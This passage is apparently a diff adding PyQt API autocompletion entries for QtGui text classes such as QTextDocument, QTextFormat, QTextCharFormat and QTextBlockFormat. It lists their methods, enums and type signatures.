+QtGui.QTextDocument.MetaInformation.DocumentUrl?10 +QtGui.QTextDocument?1(QObject parent=None) +QtGui.QTextDocument.__init__?1(self, QObject parent=None) +QtGui.QTextDocument?1(QString, QObject parent=None) +QtGui.QTextDocument.__init__?1(self, QString, QObject parent=None) +QtGui.QTextDocument.clone?4(QObject parent=None) -> QTextDocument +QtGui.QTextDocument.isEmpty?4() -> bool +QtGui.QTextDocument.clear?4() +QtGui.QTextDocument.setUndoRedoEnabled?4(bool) +QtGui.QTextDocument.isUndoRedoEnabled?4() -> bool +QtGui.QTextDocument.isUndoAvailable?4() -> bool +QtGui.QTextDocument.isRedoAvailable?4() -> bool +QtGui.QTextDocument.setDocumentLayout?4(QAbstractTextDocumentLayout) +QtGui.QTextDocument.documentLayout?4() -> QAbstractTextDocumentLayout +QtGui.QTextDocument.setMetaInformation?4(QTextDocument.MetaInformation, QString) +QtGui.QTextDocument.metaInformation?4(QTextDocument.MetaInformation) -> QString +QtGui.QTextDocument.toHtml?4(QByteArray encoding=QByteArray()) -> QString +QtGui.QTextDocument.setHtml?4(QString) +QtGui.QTextDocument.toPlainText?4() -> QString +QtGui.QTextDocument.setPlainText?4(QString) +QtGui.QTextDocument.find?4(QString, int position=0, QTextDocument.FindFlags options=0) -> QTextCursor +QtGui.QTextDocument.find?4(QRegExp, int position=0, QTextDocument.FindFlags options=0) -> QTextCursor +QtGui.QTextDocument.find?4(QRegularExpression, int position=0, QTextDocument.FindFlags options=0) -> QTextCursor +QtGui.QTextDocument.find?4(QString, QTextCursor, QTextDocument.FindFlags options=0) -> QTextCursor +QtGui.QTextDocument.find?4(QRegExp, QTextCursor, QTextDocument.FindFlags options=0) -> QTextCursor +QtGui.QTextDocument.find?4(QRegularExpression, QTextCursor, QTextDocument.FindFlags options=0) -> QTextCursor +QtGui.QTextDocument.rootFrame?4() -> QTextFrame +QtGui.QTextDocument.object?4(int) -> QTextObject +QtGui.QTextDocument.objectForFormat?4(QTextFormat) -> QTextObject +QtGui.QTextDocument.findBlock?4(int) -> QTextBlock +QtGui.QTextDocument.begin?4() -> QTextBlock +QtGui.QTextDocument.end?4() -> QTextBlock +QtGui.QTextDocument.setPageSize?4(QSizeF) +QtGui.QTextDocument.pageSize?4() -> QSizeF +QtGui.QTextDocument.setDefaultFont?4(QFont) +QtGui.QTextDocument.defaultFont?4() -> QFont +QtGui.QTextDocument.pageCount?4() -> int +QtGui.QTextDocument.isModified?4() -> bool +QtGui.QTextDocument.print_?4(QPagedPaintDevice) +QtGui.QTextDocument.print?4(QPagedPaintDevice) +QtGui.QTextDocument.resource?4(int, QUrl) -> QVariant +QtGui.QTextDocument.addResource?4(int, QUrl, QVariant) +QtGui.QTextDocument.allFormats?4() -> unknown-type +QtGui.QTextDocument.markContentsDirty?4(int, int) +QtGui.QTextDocument.setUseDesignMetrics?4(bool) +QtGui.QTextDocument.useDesignMetrics?4() -> bool +QtGui.QTextDocument.blockCountChanged?4(int) +QtGui.QTextDocument.contentsChange?4(int, int, int) +QtGui.QTextDocument.contentsChanged?4() +QtGui.QTextDocument.cursorPositionChanged?4(QTextCursor) +QtGui.QTextDocument.modificationChanged?4(bool) +QtGui.QTextDocument.redoAvailable?4(bool) +QtGui.QTextDocument.undoAvailable?4(bool) +QtGui.QTextDocument.undo?4() +QtGui.QTextDocument.redo?4() +QtGui.QTextDocument.setModified?4(bool on=True) +QtGui.QTextDocument.createObject?4(QTextFormat) -> QTextObject +QtGui.QTextDocument.loadResource?4(int, QUrl) -> QVariant +QtGui.QTextDocument.drawContents?4(QPainter, QRectF rect=QRectF()) +QtGui.QTextDocument.setTextWidth?4(float) +QtGui.QTextDocument.textWidth?4() -> float +QtGui.QTextDocument.idealWidth?4() -> float +QtGui.QTextDocument.adjustSize?4() +QtGui.QTextDocument.size?4() -> QSizeF +QtGui.QTextDocument.blockCount?4() -> int +QtGui.QTextDocument.setDefaultStyleSheet?4(QString) +QtGui.QTextDocument.defaultStyleSheet?4() -> QString +QtGui.QTextDocument.undo?4(QTextCursor) +QtGui.QTextDocument.redo?4(QTextCursor) +QtGui.QTextDocument.maximumBlockCount?4() -> int +QtGui.QTextDocument.setMaximumBlockCount?4(int) +QtGui.QTextDocument.defaultTextOption?4() -> QTextOption +QtGui.QTextDocument.setDefaultTextOption?4(QTextOption) +QtGui.QTextDocument.revision?4() -> int +QtGui.QTextDocument.findBlockByNumber?4(int) -> QTextBlock +QtGui.QTextDocument.findBlockByLineNumber?4(int) -> QTextBlock +QtGui.QTextDocument.firstBlock?4() -> QTextBlock +QtGui.QTextDocument.lastBlock?4() -> QTextBlock +QtGui.QTextDocument.indentWidth?4() -> float +QtGui.QTextDocument.setIndentWidth?4(float) +QtGui.QTextDocument.undoCommandAdded?4() +QtGui.QTextDocument.documentLayoutChanged?4() +QtGui.QTextDocument.characterAt?4(int) -> QChar +QtGui.QTextDocument.documentMargin?4() -> float +QtGui.QTextDocument.setDocumentMargin?4(float) +QtGui.QTextDocument.lineCount?4() -> int +QtGui.QTextDocument.characterCount?4() -> int +QtGui.QTextDocument.availableUndoSteps?4() -> int +QtGui.QTextDocument.availableRedoSteps?4() -> int +QtGui.QTextDocument.clearUndoRedoStacks?4(QTextDocument.Stacks stacks=QTextDocument.UndoAndRedoStacks) +QtGui.QTextDocument.defaultCursorMoveStyle?4() -> Qt.CursorMoveStyle +QtGui.QTextDocument.setDefaultCursorMoveStyle?4(Qt.CursorMoveStyle) +QtGui.QTextDocument.baseUrl?4() -> QUrl +QtGui.QTextDocument.setBaseUrl?4(QUrl) +QtGui.QTextDocument.baseUrlChanged?4(QUrl) +QtGui.QTextDocument.toRawText?4() -> QString +QtGui.QTextDocument.toMarkdown?4(QTextDocument.MarkdownFeatures features=QTextDocument.MarkdownDialectGitHub) -> QString +QtGui.QTextDocument.setMarkdown?4(QString, QTextDocument.MarkdownFeatures features=QTextDocument.MarkdownDialectGitHub) +QtGui.QTextDocument.FindFlags?1() +QtGui.QTextDocument.FindFlags.__init__?1(self) +QtGui.QTextDocument.FindFlags?1(int) +QtGui.QTextDocument.FindFlags.__init__?1(self, int) +QtGui.QTextDocument.FindFlags?1(QTextDocument.FindFlags) +QtGui.QTextDocument.FindFlags.__init__?1(self, QTextDocument.FindFlags) +QtGui.QTextDocument.MarkdownFeatures?1() +QtGui.QTextDocument.MarkdownFeatures.__init__?1(self) +QtGui.QTextDocument.MarkdownFeatures?1(int) +QtGui.QTextDocument.MarkdownFeatures.__init__?1(self, int) +QtGui.QTextDocument.MarkdownFeatures?1(QTextDocument.MarkdownFeatures) +QtGui.QTextDocument.MarkdownFeatures.__init__?1(self, QTextDocument.MarkdownFeatures) +QtGui.QTextDocumentFragment?1() +QtGui.QTextDocumentFragment.__init__?1(self) +QtGui.QTextDocumentFragment?1(QTextDocument) +QtGui.QTextDocumentFragment.__init__?1(self, QTextDocument) +QtGui.QTextDocumentFragment?1(QTextCursor) +QtGui.QTextDocumentFragment.__init__?1(self, QTextCursor) +QtGui.QTextDocumentFragment?1(QTextDocumentFragment) +QtGui.QTextDocumentFragment.__init__?1(self, QTextDocumentFragment) +QtGui.QTextDocumentFragment.isEmpty?4() -> bool +QtGui.QTextDocumentFragment.toPlainText?4() -> QString +QtGui.QTextDocumentFragment.toHtml?4(QByteArray encoding=QByteArray()) -> QString +QtGui.QTextDocumentFragment.fromPlainText?4(QString) -> QTextDocumentFragment +QtGui.QTextDocumentFragment.fromHtml?4(QString) -> QTextDocumentFragment +QtGui.QTextDocumentFragment.fromHtml?4(QString, QTextDocument) -> QTextDocumentFragment +QtGui.QTextDocumentWriter?1() +QtGui.QTextDocumentWriter.__init__?1(self) +QtGui.QTextDocumentWriter?1(QIODevice, QByteArray) +QtGui.QTextDocumentWriter.__init__?1(self, QIODevice, QByteArray) +QtGui.QTextDocumentWriter?1(QString, QByteArray format=QByteArray()) +QtGui.QTextDocumentWriter.__init__?1(self, QString, QByteArray format=QByteArray()) +QtGui.QTextDocumentWriter.setFormat?4(QByteArray) +QtGui.QTextDocumentWriter.format?4() -> QByteArray +QtGui.QTextDocumentWriter.setDevice?4(QIODevice) +QtGui.QTextDocumentWriter.device?4() -> QIODevice +QtGui.QTextDocumentWriter.setFileName?4(QString) +QtGui.QTextDocumentWriter.fileName?4() -> QString +QtGui.QTextDocumentWriter.write?4(QTextDocument) -> bool +QtGui.QTextDocumentWriter.write?4(QTextDocumentFragment) -> bool +QtGui.QTextDocumentWriter.setCodec?4(QTextCodec) +QtGui.QTextDocumentWriter.codec?4() -> QTextCodec +QtGui.QTextDocumentWriter.supportedDocumentFormats?4() -> unknown-type +QtGui.QTextLength.Type?10 +QtGui.QTextLength.Type.VariableLength?10 +QtGui.QTextLength.Type.FixedLength?10 +QtGui.QTextLength.Type.PercentageLength?10 +QtGui.QTextLength?1() +QtGui.QTextLength.__init__?1(self) +QtGui.QTextLength?1(QTextLength.Type, float) +QtGui.QTextLength.__init__?1(self, QTextLength.Type, float) +QtGui.QTextLength?1(QVariant) +QtGui.QTextLength.__init__?1(self, QVariant) +QtGui.QTextLength?1(QTextLength) +QtGui.QTextLength.__init__?1(self, QTextLength) +QtGui.QTextLength.type?4() -> QTextLength.Type +QtGui.QTextLength.value?4(float) -> float +QtGui.QTextLength.rawValue?4() -> float +QtGui.QTextFormat.Property?10 +QtGui.QTextFormat.Property.ObjectIndex?10 +QtGui.QTextFormat.Property.CssFloat?10 +QtGui.QTextFormat.Property.LayoutDirection?10 +QtGui.QTextFormat.Property.OutlinePen?10 +QtGui.QTextFormat.Property.BackgroundBrush?10 +QtGui.QTextFormat.Property.ForegroundBrush?10 +QtGui.QTextFormat.Property.BlockAlignment?10 +QtGui.QTextFormat.Property.BlockTopMargin?10 +QtGui.QTextFormat.Property.BlockBottomMargin?10 +QtGui.QTextFormat.Property.BlockLeftMargin?10 +QtGui.QTextFormat.Property.BlockRightMargin?10 +QtGui.QTextFormat.Property.TextIndent?10 +QtGui.QTextFormat.Property.BlockIndent?10 +QtGui.QTextFormat.Property.BlockNonBreakableLines?10 +QtGui.QTextFormat.Property.BlockTrailingHorizontalRulerWidth?10 +QtGui.QTextFormat.Property.FontFamily?10 +QtGui.QTextFormat.Property.FontPointSize?10 +QtGui.QTextFormat.Property.FontSizeAdjustment?10 +QtGui.QTextFormat.Property.FontSizeIncrement?10 +QtGui.QTextFormat.Property.FontWeight?10 +QtGui.QTextFormat.Property.FontItalic?10 +QtGui.QTextFormat.Property.FontUnderline?10 +QtGui.QTextFormat.Property.FontOverline?10 +QtGui.QTextFormat.Property.FontStrikeOut?10 +QtGui.QTextFormat.Property.FontFixedPitch?10 +QtGui.QTextFormat.Property.FontPixelSize?10 +QtGui.QTextFormat.Property.TextUnderlineColor?10 +QtGui.QTextFormat.Property.TextVerticalAlignment?10 +QtGui.QTextFormat.Property.TextOutline?10 +QtGui.QTextFormat.Property.IsAnchor?10 +QtGui.QTextFormat.Property.AnchorHref?10 +QtGui.QTextFormat.Property.AnchorName?10 +QtGui.QTextFormat.Property.ObjectType?10 +QtGui.QTextFormat.Property.ListStyle?10 +QtGui.QTextFormat.Property.ListIndent?10 +QtGui.QTextFormat.Property.FrameBorder?10 +QtGui.QTextFormat.Property.FrameMargin?10 +QtGui.QTextFormat.Property.FramePadding?10 +QtGui.QTextFormat.Property.FrameWidth?10 +QtGui.QTextFormat.Property.FrameHeight?10 +QtGui.QTextFormat.Property.TableColumns?10 +QtGui.QTextFormat.Property.TableColumnWidthConstraints?10 +QtGui.QTextFormat.Property.TableCellSpacing?10 +QtGui.QTextFormat.Property.TableCellPadding?10 +QtGui.QTextFormat.Property.TableCellRowSpan?10 +QtGui.QTextFormat.Property.TableCellColumnSpan?10 +QtGui.QTextFormat.Property.ImageName?10 +QtGui.QTextFormat.Property.ImageWidth?10 +QtGui.QTextFormat.Property.ImageHeight?10 +QtGui.QTextFormat.Property.TextUnderlineStyle?10 +QtGui.QTextFormat.Property.TableHeaderRowCount?10 +QtGui.QTextFormat.Property.FullWidthSelection?10 +QtGui.QTextFormat.Property.PageBreakPolicy?10 +QtGui.QTextFormat.Property.TextToolTip?10 +QtGui.QTextFormat.Property.FrameTopMargin?10 +QtGui.QTextFormat.Property.FrameBottomMargin?10 +QtGui.QTextFormat.Property.FrameLeftMargin?10 +QtGui.QTextFormat.Property.FrameRightMargin?10 +QtGui.QTextFormat.Property.FrameBorderBrush?10 +QtGui.QTextFormat.Property.FrameBorderStyle?10 +QtGui.QTextFormat.Property.BackgroundImageUrl?10 +QtGui.QTextFormat.Property.TabPositions?10 +QtGui.QTextFormat.Property.FirstFontProperty?10 +QtGui.QTextFormat.Property.FontCapitalization?10 +QtGui.QTextFormat.Property.FontLetterSpacing?10 +QtGui.QTextFormat.Property.FontWordSpacing?10 +QtGui.QTextFormat.Property.LastFontProperty?10 +QtGui.QTextFormat.Property.TableCellTopPadding?10 +QtGui.QTextFormat.Property.TableCellBottomPadding?10 +QtGui.QTextFormat.Property.TableCellLeftPadding?10 +QtGui.QTextFormat.Property.TableCellRightPadding?10 +QtGui.QTextFormat.Property.FontStyleHint?10 +QtGui.QTextFormat.Property.FontStyleStrategy?10 +QtGui.QTextFormat.Property.FontKerning?10 +QtGui.QTextFormat.Property.LineHeight?10 +QtGui.QTextFormat.Property.LineHeightType?10 +QtGui.QTextFormat.Property.FontHintingPreference?10 +QtGui.QTextFormat.Property.ListNumberPrefix?10 +QtGui.QTextFormat.Property.ListNumberSuffix?10 +QtGui.QTextFormat.Property.FontStretch?10 +QtGui.QTextFormat.Property.FontLetterSpacingType?10 +QtGui.QTextFormat.Property.HeadingLevel?10 +QtGui.QTextFormat.Property.ImageQuality?10 +QtGui.QTextFormat.Property.FontFamilies?10 +QtGui.QTextFormat.Property.FontStyleName?10 +QtGui.QTextFormat.Property.BlockQuoteLevel?10 +QtGui.QTextFormat.Property.BlockCodeLanguage?10 +QtGui.QTextFormat.Property.BlockCodeFence?10 +QtGui.QTextFormat.Property.BlockMarker?10 +QtGui.QTextFormat.Property.TableBorderCollapse?10 +QtGui.QTextFormat.Property.TableCellTopBorder?10 +QtGui.QTextFormat.Property.TableCellBottomBorder?10 +QtGui.QTextFormat.Property.TableCellLeftBorder?10 +QtGui.QTextFormat.Property.TableCellRightBorder?10 +QtGui.QTextFormat.Property.TableCellTopBorderStyle?10 +QtGui.QTextFormat.Property.TableCellBottomBorderStyle?10 +QtGui.QTextFormat.Property.TableCellLeftBorderStyle?10 +QtGui.QTextFormat.Property.TableCellRightBorderStyle?10 +QtGui.QTextFormat.Property.TableCellTopBorderBrush?10 +QtGui.QTextFormat.Property.TableCellBottomBorderBrush?10 +QtGui.QTextFormat.Property.TableCellLeftBorderBrush?10 +QtGui.QTextFormat.Property.TableCellRightBorderBrush?10 +QtGui.QTextFormat.Property.ImageTitle?10 +QtGui.QTextFormat.Property.ImageAltText?10 +QtGui.QTextFormat.Property.UserProperty?10 +QtGui.QTextFormat.PageBreakFlag?10 +QtGui.QTextFormat.PageBreakFlag.PageBreak_Auto?10 +QtGui.QTextFormat.PageBreakFlag.PageBreak_AlwaysBefore?10 +QtGui.QTextFormat.PageBreakFlag.PageBreak_AlwaysAfter?10 +QtGui.QTextFormat.ObjectTypes?10 +QtGui.QTextFormat.ObjectTypes.NoObject?10 +QtGui.QTextFormat.ObjectTypes.ImageObject?10 +QtGui.QTextFormat.ObjectTypes.TableObject?10 +QtGui.QTextFormat.ObjectTypes.TableCellObject?10 +QtGui.QTextFormat.ObjectTypes.UserObject?10 +QtGui.QTextFormat.FormatType?10 +QtGui.QTextFormat.FormatType.InvalidFormat?10 +QtGui.QTextFormat.FormatType.BlockFormat?10 +QtGui.QTextFormat.FormatType.CharFormat?10 +QtGui.QTextFormat.FormatType.ListFormat?10 +QtGui.QTextFormat.FormatType.TableFormat?10 +QtGui.QTextFormat.FormatType.FrameFormat?10 +QtGui.QTextFormat.FormatType.UserFormat?10 +QtGui.QTextFormat?1() +QtGui.QTextFormat.__init__?1(self) +QtGui.QTextFormat?1(int) +QtGui.QTextFormat.__init__?1(self, int) +QtGui.QTextFormat?1(QTextFormat) +QtGui.QTextFormat.__init__?1(self, QTextFormat) +QtGui.QTextFormat?1(QVariant) +QtGui.QTextFormat.__init__?1(self, QVariant) +QtGui.QTextFormat.merge?4(QTextFormat) +QtGui.QTextFormat.isValid?4() -> bool +QtGui.QTextFormat.type?4() -> int +QtGui.QTextFormat.objectIndex?4() -> int +QtGui.QTextFormat.setObjectIndex?4(int) +QtGui.QTextFormat.property?4(int) -> QVariant +QtGui.QTextFormat.setProperty?4(int, QVariant) +QtGui.QTextFormat.clearProperty?4(int) +QtGui.QTextFormat.hasProperty?4(int) -> bool +QtGui.QTextFormat.boolProperty?4(int) -> bool +QtGui.QTextFormat.intProperty?4(int) -> int +QtGui.QTextFormat.doubleProperty?4(int) -> float +QtGui.QTextFormat.stringProperty?4(int) -> QString +QtGui.QTextFormat.colorProperty?4(int) -> QColor +QtGui.QTextFormat.penProperty?4(int) -> QPen +QtGui.QTextFormat.brushProperty?4(int) -> QBrush +QtGui.QTextFormat.lengthProperty?4(int) -> QTextLength +QtGui.QTextFormat.lengthVectorProperty?4(int) -> unknown-type +QtGui.QTextFormat.setProperty?4(int, unknown-type) +QtGui.QTextFormat.properties?4() -> unknown-type +QtGui.QTextFormat.objectType?4() -> int +QtGui.QTextFormat.isCharFormat?4() -> bool +QtGui.QTextFormat.isBlockFormat?4() -> bool +QtGui.QTextFormat.isListFormat?4() -> bool +QtGui.QTextFormat.isFrameFormat?4() -> bool +QtGui.QTextFormat.isImageFormat?4() -> bool +QtGui.QTextFormat.isTableFormat?4() -> bool +QtGui.QTextFormat.toBlockFormat?4() -> QTextBlockFormat +QtGui.QTextFormat.toCharFormat?4() -> QTextCharFormat +QtGui.QTextFormat.toListFormat?4() -> QTextListFormat +QtGui.QTextFormat.toTableFormat?4() -> QTextTableFormat +QtGui.QTextFormat.toFrameFormat?4() -> QTextFrameFormat +QtGui.QTextFormat.toImageFormat?4() -> QTextImageFormat +QtGui.QTextFormat.setLayoutDirection?4(Qt.LayoutDirection) +QtGui.QTextFormat.layoutDirection?4() -> Qt.LayoutDirection +QtGui.QTextFormat.setBackground?4(QBrush) +QtGui.QTextFormat.background?4() -> QBrush +QtGui.QTextFormat.clearBackground?4() +QtGui.QTextFormat.setForeground?4(QBrush) +QtGui.QTextFormat.foreground?4() -> QBrush +QtGui.QTextFormat.clearForeground?4() +QtGui.QTextFormat.setObjectType?4(int) +QtGui.QTextFormat.propertyCount?4() -> int +QtGui.QTextFormat.isTableCellFormat?4() -> bool +QtGui.QTextFormat.toTableCellFormat?4() -> QTextTableCellFormat +QtGui.QTextFormat.swap?4(QTextFormat) +QtGui.QTextFormat.isEmpty?4() -> bool +QtGui.QTextFormat.PageBreakFlags?1() +QtGui.QTextFormat.PageBreakFlags.__init__?1(self) +QtGui.QTextFormat.PageBreakFlags?1(int) +QtGui.QTextFormat.PageBreakFlags.__init__?1(self, int) +QtGui.QTextFormat.PageBreakFlags?1(QTextFormat.PageBreakFlags) +QtGui.QTextFormat.PageBreakFlags.__init__?1(self, QTextFormat.PageBreakFlags) +QtGui.QTextCharFormat.FontPropertiesInheritanceBehavior?10 +QtGui.QTextCharFormat.FontPropertiesInheritanceBehavior.FontPropertiesSpecifiedOnly?10 +QtGui.QTextCharFormat.FontPropertiesInheritanceBehavior.FontPropertiesAll?10 +QtGui.QTextCharFormat.UnderlineStyle?10 +QtGui.QTextCharFormat.UnderlineStyle.NoUnderline?10 +QtGui.QTextCharFormat.UnderlineStyle.SingleUnderline?10 +QtGui.QTextCharFormat.UnderlineStyle.DashUnderline?10 +QtGui.QTextCharFormat.UnderlineStyle.DotLine?10 +QtGui.QTextCharFormat.UnderlineStyle.DashDotLine?10 +QtGui.QTextCharFormat.UnderlineStyle.DashDotDotLine?10 +QtGui.QTextCharFormat.UnderlineStyle.WaveUnderline?10 +QtGui.QTextCharFormat.UnderlineStyle.SpellCheckUnderline?10 +QtGui.QTextCharFormat.VerticalAlignment?10 +QtGui.QTextCharFormat.VerticalAlignment.AlignNormal?10 +QtGui.QTextCharFormat.VerticalAlignment.AlignSuperScript?10 +QtGui.QTextCharFormat.VerticalAlignment.AlignSubScript?10 +QtGui.QTextCharFormat.VerticalAlignment.AlignMiddle?10 +QtGui.QTextCharFormat.VerticalAlignment.AlignTop?10 +QtGui.QTextCharFormat.VerticalAlignment.AlignBottom?10 +QtGui.QTextCharFormat.VerticalAlignment.AlignBaseline?10 +QtGui.QTextCharFormat?1() +QtGui.QTextCharFormat.__init__?1(self) +QtGui.QTextCharFormat?1(QTextCharFormat) +QtGui.QTextCharFormat.__init__?1(self, QTextCharFormat) +QtGui.QTextCharFormat.isValid?4() -> bool +QtGui.QTextCharFormat.setFont?4(QFont) +QtGui.QTextCharFormat.font?4() -> QFont +QtGui.QTextCharFormat.setFontFamily?4(QString) +QtGui.QTextCharFormat.fontFamily?4() -> QString +QtGui.QTextCharFormat.setFontPointSize?4(float) +QtGui.QTextCharFormat.fontPointSize?4() -> float +QtGui.QTextCharFormat.setFontWeight?4(int) +QtGui.QTextCharFormat.fontWeight?4() -> int +QtGui.QTextCharFormat.setFontItalic?4(bool) +QtGui.QTextCharFormat.fontItalic?4() -> bool +QtGui.QTextCharFormat.setFontUnderline?4(bool) +QtGui.QTextCharFormat.fontUnderline?4() -> bool +QtGui.QTextCharFormat.setFontOverline?4(bool) +QtGui.QTextCharFormat.fontOverline?4() -> bool +QtGui.QTextCharFormat.setFontStrikeOut?4(bool) +QtGui.QTextCharFormat.fontStrikeOut?4() -> bool +QtGui.QTextCharFormat.setUnderlineColor?4(QColor) +QtGui.QTextCharFormat.underlineColor?4() -> QColor +QtGui.QTextCharFormat.setFontFixedPitch?4(bool) +QtGui.QTextCharFormat.fontFixedPitch?4() -> bool +QtGui.QTextCharFormat.setVerticalAlignment?4(QTextCharFormat.VerticalAlignment) +QtGui.QTextCharFormat.verticalAlignment?4() -> QTextCharFormat.VerticalAlignment +QtGui.QTextCharFormat.setAnchor?4(bool) +QtGui.QTextCharFormat.isAnchor?4() -> bool +QtGui.QTextCharFormat.setAnchorHref?4(QString) +QtGui.QTextCharFormat.anchorHref?4() -> QString +QtGui.QTextCharFormat.tableCellRowSpan?4() -> int +QtGui.QTextCharFormat.tableCellColumnSpan?4() -> int +QtGui.QTextCharFormat.setTableCellRowSpan?4(int) +QtGui.QTextCharFormat.setTableCellColumnSpan?4(int) +QtGui.QTextCharFormat.setTextOutline?4(QPen) +QtGui.QTextCharFormat.textOutline?4() -> QPen +QtGui.QTextCharFormat.setUnderlineStyle?4(QTextCharFormat.UnderlineStyle) +QtGui.QTextCharFormat.underlineStyle?4() -> QTextCharFormat.UnderlineStyle +QtGui.QTextCharFormat.setToolTip?4(QString) +QtGui.QTextCharFormat.toolTip?4() -> QString +QtGui.QTextCharFormat.setAnchorNames?4(QStringList) +QtGui.QTextCharFormat.anchorNames?4() -> QStringList +QtGui.QTextCharFormat.setFontCapitalization?4(QFont.Capitalization) +QtGui.QTextCharFormat.fontCapitalization?4() -> QFont.Capitalization +QtGui.QTextCharFormat.setFontLetterSpacing?4(float) +QtGui.QTextCharFormat.fontLetterSpacing?4() -> float +QtGui.QTextCharFormat.setFontWordSpacing?4(float) +QtGui.QTextCharFormat.fontWordSpacing?4() -> float +QtGui.QTextCharFormat.setFontStyleHint?4(QFont.StyleHint, QFont.StyleStrategy strategy=QFont.PreferDefault) +QtGui.QTextCharFormat.setFontStyleStrategy?4(QFont.StyleStrategy) +QtGui.QTextCharFormat.fontStyleHint?4() -> QFont.StyleHint +QtGui.QTextCharFormat.fontStyleStrategy?4() -> QFont.StyleStrategy +QtGui.QTextCharFormat.setFontKerning?4(bool) +QtGui.QTextCharFormat.fontKerning?4() -> bool +QtGui.QTextCharFormat.setFontHintingPreference?4(QFont.HintingPreference) +QtGui.QTextCharFormat.fontHintingPreference?4() -> QFont.HintingPreference +QtGui.QTextCharFormat.fontStretch?4() -> int +QtGui.QTextCharFormat.setFontStretch?4(int) +QtGui.QTextCharFormat.setFontLetterSpacingType?4(QFont.SpacingType) +QtGui.QTextCharFormat.fontLetterSpacingType?4() -> QFont.SpacingType +QtGui.QTextCharFormat.setFont?4(QFont, QTextCharFormat.FontPropertiesInheritanceBehavior) +QtGui.QTextCharFormat.setFontFamilies?4(QStringList) +QtGui.QTextCharFormat.fontFamilies?4() -> QVariant +QtGui.QTextCharFormat.setFontStyleName?4(QString) +QtGui.QTextCharFormat.fontStyleName?4() -> QVariant +QtGui.QTextBlockFormat.MarkerType?10 +QtGui.QTextBlockFormat.MarkerType.NoMarker?10 +QtGui.QTextBlockFormat.MarkerType.Unchecked?10 +QtGui.QTextBlockFormat.MarkerType.Checked?10 +QtGui.QTextBlockFormat.LineHeightTypes?10 +QtGui.QTextBlockFormat.LineHeightTypes.SingleHeight?10 +QtGui.QTextBlockFormat.LineHeightTypes.ProportionalHeight?10 +QtGui.QTextBlockFormat.LineHeightTypes.FixedHeight?10 +QtGui.QTextBlockFormat.LineHeightTypes.MinimumHeight?10 +QtGui.QTextBlockFormat.LineHeightTypes.LineDistanceHeight?10 +QtGui.QTextBlockFormat?1() +QtGui.QTextBlockFormat.__init__?1(self) +QtGui.QTextBlockFormat?1(QTextBlockFormat) +QtGui.QTextBlockFormat.__init__?1(self, QTextBlockFormat) +QtGui.QTextBlockFormat.isValid?4() -> bool +QtGui.QTextBlockFormat.alignment?4() -> Qt.Alignment +QtGui.QTextBlockFormat.setTopMargin?4(float) +QtGui.QTextBlockFormat.topMargin?4() -> float +QtGui.QTextBlockFormat.setBottomMargin?4(float) +QtGui.QTextBlockFormat.bottomMargin?4() -> float +QtGui.QTextBlockFormat.setLeftMargin?4(float) +QtGui.QTextBlockFormat.leftMargin?4() -> float +QtGui.QTextBlockFormat.setRightMargin?4(float) +QtGui.QTextBlockFormat.rightMargin?4() -> float +QtGui.QTextBlockFormat.setTextIndent?4(float) +QtGui.QTextBlockFormat.textIndent?4() -> float +QtGui.QTextBlockFormat.indent?4() -> int +QtGui.QTextBlockFormat.setNonBreakableLines?4(bool) +QtGui.QTextBlockFormat.nonBreakableLines?4() -> bool +QtGui.QTextBlockFormat.setAlignment?4(Qt.Alignment) +QtGui.QTextBlockFormat.setIndent?4(int) +QtGui.QTextBlockFormat.setPageBreakPolicy?4(QTextFormat.PageBreakFlags) +QtGui.QTextBlockFormat.pageBreakPolicy?4() -> QTextFormat.PageBreakFlags +QtGui.QTextBlockFormat.setTabPositions?4(unknown-type) +QtGui.QTextBlockFormat.tabPositions?4() -> unknown-type +QtGui.QTextBlockFormat.setLineHeight?4(float, int) +QtGui.QTextBlockFormat.lineHeight?4() -> float +QtGui.QTextBlockFormat.lineHeight?4(float, float scaling=1) -> float +QtGui.QTextBlockFormat.lineHeightType?4() -> int +QtGui.QTextBlockFormat.setHeadingLevel?4(int) +QtGui.QTextBlockFormat.headingLevel?4() -> int +QtGui.QTextBlockFormat.setMarker?4(QTextBlockFormat.MarkerType) +QtGui.QTextBlockFormat.marker?4() -> QTextBlockFormat.MarkerType +QtGui.QTextListFormat.Style?10 +QtGui.QTextListFormat.Style.ListDisc?10 +QtGui.QTextListFormat.Style.ListCircle?10 +QtGui.QTextListFormat.Style.ListSquare?10 +QtGui.QTextListFormat.Style.ListDecimal?10 +QtGui.QTextListFormat.Style.ListLowerAlpha?10 +QtGui.QTextListFormat.Style.ListUpperAlpha?10 +QtGui.QTextListFormat.Style.ListLowerRoman?10 +QtGui.QTextListFormat.Style.ListUpperRoman?10 +QtGui.QTextListFormat?1() +QtGui.QTextListFormat.__init__?1(self) +QtGui.QTextListFormat?1(QTextListFormat) +QtGui.QTextListFormat.__init__?1(self, QTextListFormat) +QtGui.QTextListFormat.isValid?4() -> bool +QtGui.QTextListFormat.style?4() -> QTextListFormat.Style +QtGui.QTextListFormat.indent?4() -> int +QtGui.QTextListFormat.setStyle?4(QTextListFormat.Style) +QtGui.QTextListFormat.setIndent?4(int) +QtGui.QTextListFormat.numberPrefix?4() -> QString +QtGui.QTextListFormat.numberSuffix?4() -> QString +QtGui.QTextListFormat.setNumberPrefix?4(QString) +QtGui.QTextListFormat.setNumberSuffix?4(QString) +QtGui.QTextImageFormat?1() +QtGui.QTextImageFormat.__init__?1(self) +QtGui.QTextImageFormat?1(QTextImageFormat) +QtGui.QTextImageFormat.__init__?1(self, QTextImageFormat) +QtGui.QTextImageFormat.isValid?4() -> bool +QtGui.QTextImageFormat.name?4() -> QString +QtGui.QTextImageFormat.width?4() -> float +QtGui.QTextImageFormat.height?4() -> float +QtGui.QTextImageFormat.quality?4() -> int +QtGui.QTextImageFormat.setName?4(QString) +QtGui.QTextImageFormat.setWidth?4(float) +QtGui.QTextImageFormat.setHeight?4(float) +QtGui.QTextImageFormat.setQuality?4(int quality=100) +QtGui.QTextFrameFormat.BorderStyle?10 +QtGui.QTextFrameFormat.BorderStyle.BorderStyle_None?10 +QtGui.QTextFrameFormat.BorderStyle.BorderStyle_Dotted?10 +QtGui.QTextFrameFormat.BorderStyle.BorderStyle_Dashed?10 +QtGui.QTextFrameFormat.BorderStyle.BorderStyle_Solid?10 +QtGui.QTextFrameFormat.BorderStyle.BorderStyle_Double?10 +QtGui.QTextFrameFormat.BorderStyle.BorderStyle_DotDash?10 +QtGui.QTextFrameFormat.BorderStyle.BorderStyle_DotDotDash?10 +QtGui.QTextFrameFormat.BorderStyle.BorderStyle_Groove?10 +QtGui.QTextFrameFormat.BorderStyle.BorderStyle_Ridge?10 +QtGui.QTextFrameFormat.BorderStyle.BorderStyle_Inset?10 